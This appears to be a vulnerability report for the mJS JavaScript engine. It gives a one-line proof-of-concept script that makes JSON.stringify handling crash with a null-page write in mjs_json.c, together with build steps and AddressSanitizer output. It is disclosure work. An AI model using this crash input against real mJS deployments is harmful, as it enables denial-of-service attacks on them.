SEGV src/mjs_json.c:238 in to_json_or_debug

[hope-fly]

mJS revision

Commit: b1b6eac

Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)

Build steps

vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make

Test case

poc.js

```javascript
(JSON.stringify([1, 2, 3]))(((JSON.parse-6.54321e3)-6.54321e2)(JSON.stringify([1, 2, 3])));
```

​

Execution steps & Output

$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==37535==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000100 (pc 0x55f1bcaef797 bp 0x000000000089 sp 0x7ffc2c9cf150 T0)
==37535==The signal is caused by a WRITE memory access.
==37535==Hint: address points to the zero page.
    #0 0x55f1bcaef796 in to_json_or_debug src/mjs_json.c:238
    #1 0x55f1bcaef796 in mjs_json_stringify src/mjs_json.c:267
    #2 0x55f1bcaef796 in mjs_op_json_stringify src/mjs_json.c:494

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV src/mjs_json.c:238 in to_json_or_debug
==37535==ABORTING

Credits: Found by OWL337 team.